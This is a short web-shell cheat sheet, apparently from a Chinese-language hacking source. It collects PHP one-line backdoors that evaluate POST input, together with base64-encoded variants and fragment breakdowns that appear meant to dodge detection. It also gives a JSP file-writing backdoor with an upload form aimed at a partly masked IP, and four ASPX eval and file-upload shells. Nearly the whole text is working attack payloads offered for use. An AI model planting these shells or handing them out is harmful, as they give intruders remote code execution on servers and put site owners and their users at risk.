SHellCN

PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz4=    <?php eval($_POST[xiao])?>
PD9waHAgZXZhbCgkX1BPU1RbeHh4eF0pPz4=    <?php eval($_POST[xxxx])?>
PD9waHAgZXZhbCgkX1BPU1RbeHh4XSk/Pg==    <?php eval($_POST[xxx])?>
PD9waHAgZXZhbCgkX1BPU1RbeXl5XSk/Pg==    <?php eval($_POST[yyy])?>
PD9waHAgZXZhbCgkX1BPU1RbeHhdKT8+    <?php eval($_POST[xx])?>
PD9waHAgZXZhbCgkX1BPU1RbeXldKT8+    <?php eval($_POST[yy])?>
PD9waHAgZXZhbCgkX1BPU1RbeF0pPz4=    <?php eval($_POST[x])?>
PD9waHAgZXZhbCgkX1BPU1RbeV0pPz4=    <?php eval($_POST[y])?>
eval($_POST  ZXZhbCgkX1BPU1Q=
eval     ZXZhbA==
_POST    X1BPU1Q=
<?php   eval($_POST[xiao])?>    PD9waHAgICBldmFsKCRfUE9TVFt4aWFvXSk/Pg==
<?php eval($_POST[xiao])?>
<?php   eval($_POST[xiao])?>
<?php eval($_POST[xiao])?>中：
　　  <?p  →  PD9w
　　  hp_  →  aHAg
eva  →  ZXZh

<?php eval($_POST[xiao])?>中：
　　  <?p  →  PD9w
　　  hp_  →  aHAg
　　      __e  →  ICBl


------------------- JSP ---------------------------------------------------------------------------

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

From gửi Client:
　<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
　　<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
　　<input type=submit value="提交">
　　</form>

------------------------------- ASPX -------------------------------------------------


1) <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
2) <%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
3) <%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"])  ); }%>
4) <% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>